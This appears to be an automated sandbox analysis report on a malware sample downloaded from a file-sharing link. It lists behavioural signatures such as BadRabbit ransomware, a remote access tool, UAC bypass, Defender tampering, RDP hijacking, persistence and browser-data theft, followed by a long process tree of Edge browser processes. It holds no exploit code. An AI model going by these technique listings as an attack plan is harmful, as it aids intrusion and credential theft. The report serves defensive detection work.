Analysis
- user interaction
yes - max time kernel
1537s - max time network
1603s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
22/02/2026, 12:12
General
- Target https://wormhole.app/4xbqe1#T3CJlfAouFj4tLIS3RKrpg
- Sample260222-pc65csaw6d
Score
10/10
Malware Config
Signatures
- BadRabbit
Ransomware family discovered in late 2017, mainly targeting Russia and Ukraine.
- Badrabbit family
- Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
- Modifies visibility of hidden/system files in Explorer 2 TTPs 1 IoCs
- RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
- Rms family
- UAC bypass 3 TTPs 5 IoCs
- Windows security bypass 2 TTPs 1 IoCs
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs
Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Blocks application from running via registry modification 13 IoCs
Adds application to list of disallowed applications.
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file 1 IoCs
- Drops file in Drivers directory 1 IoCs
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
- Sets file to hidden 1 TTPs 3 IoCs
Modifies file attributes to stop it showing in Explorer etc.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 52 IoCs
- Loads dropped DLL 54 IoCs
- Modifies system executable filetype association 2 TTPs 4 IoCs
- Modifies visibility of existing users in the login screen 1 TTPs 4 IoCs
A user account was hidden or made visible on the Windows login screen through a registry modification.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 3 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies WinLogon 2 TTPs 7 IoCs
- Password Policy Discovery 1 TTPs
Attempt to access detailed information about the password policy used within an enterprise network.
- AutoIT Executable 3 IoCs
AutoIT scripts compiled to PE executables.
- Drops file in System32 directory 8 IoCs
- UPX packed file 6 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 15 IoCs
- Launches sc.exe 3 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 51 IoCs
When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Detects Pyinstaller 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 58 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 7 IoCs
- Enumerates system info in registry 2 TTPs 5 IoCs
- Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
- Kills process with taskkill 61 IoCs
- Modifies Internet Explorer settings 1 TTPs 4 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 64 IoCs
- NTFS ADS 55 IoCs
- Runs .reg file with regedit 2 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 4 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 19 IoCs
- Suspicious behavior: SetClipboardViewer 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 30 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 3 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 6 IoCs
Processes
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://wormhole.app/4xbqe1#T3CJlfAouFj4tLIS3RKrpg1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x23c,0x240,0x244,0x238,0x2b0,0x7ffe128cc188,0x7ffe128cc194,0x7ffe128cc1a02⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1824,i,5493113570685315733,8962211552004518640,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=2232 /prefetch:112⤵
- Downloads MZ/PE file
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1500,i,3405105519413612965,7085540561756320707,262144 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:22⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2540,i,9562179875250076061,14469108951315168180,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=2532 /prefetch:132⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3484,i,2241722106859482880,14865726437037360985,2097152 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=3568 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3488,i,5241328101554277998,1874069121440099335,2097152 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4108,i,3229832750248049658,2093624059628600051,2097152 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=4124 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4184,i,339360294841341926,10467145214040871260,2097152 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=4140 /prefetch:92⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4232,i,1524930334266355043,8805566040710193083,2097152 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=4148 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4200,i,6412388767263058032,10639278422003795687,2097152 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:92⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3640,i,9333093866408795025,14728462209861785819,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=4164 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5296,i,11341040821404261797,10245294737046793658,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=5292 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=3692,i,5845535944083713594,3884009683911860145,2097152 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=5184 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=5304,i,11661197940063796873,10270407327309749453,2097152 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=3768 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5612,i,2351198377259093228,18180667617119102457,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5616,i,9557004334109833649,7741135708844568908,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=5704 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6324,i,16688673615957960394,12095739883936911797,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=6304 /prefetch:142⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.execookie_exporter.exe --cookie-json=11283⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6332,i,4641375654357563054,11360034109876393107,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=6348 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6332,i,4641375654357563054,11360034109876393107,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=6348 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6384,i,2376385645542492862,16429891815926744521,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=6428 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6452,i,6784980355611454561,15766616433151211343,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=6328 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6936,i,11001349640252562156,4825170263099814236,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=6724 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6920,i,2007551936452668751,8016854898924089210,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=6720 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6484,i,10824468337700902781,17006072581148589482,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=6712 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4744,i,3116180589969535104,17861490645913975658,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=4704 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4728,i,10414022658234023699,3487516985453720349,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=4680 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4672,i,17054891383215510510,8855158698905003951,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=3688 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=6044,i,17485755528646011328,18236954908677507739,2097152 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=1864 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6784,i,59175728850318798,10040668196682242,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=6924 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --always-read-main-dll --metrics-shmem-handle=4724,i,16673992236124661373,4096606860807832352,2097152 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --always-read-main-dll --metrics-shmem-handle=6612,i,15620769798054758991,324917858315430157,2097152 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=6588 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --always-read-main-dll --metrics-shmem-handle=6556,i,17256760910799781493,9623785149666407672,2097152 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --always-read-main-dll --metrics-shmem-handle=7240,i,10370590524856223757,890338846274163002,2097152 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=7244 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6444,i,5050481625593030319,16207896413337745560,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=7036 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7456,i,15114969234911597277,2046276661396516924,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --always-read-main-dll --metrics-shmem-handle=7212,i,12368091359829840033,2042932833017085251,2097152 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=7512 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7760,i,1636166091371649411,16448408348606651861,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=7924 /prefetch:142⤵
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7368,i,541096311565316594,11290730812327003565,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=7960 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --always-read-main-dll --metrics-shmem-handle=7204,i,15991273536182467271,13205428597112093497,2097152 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=7232 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --always-read-main-dll --metrics-shmem-handle=7336,i,3257033670056255799,12937927189724956725,2097152 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=7332 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6524,i,10467362859134847711,3310669325544447352,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=6640 /prefetch:142⤵
-
-
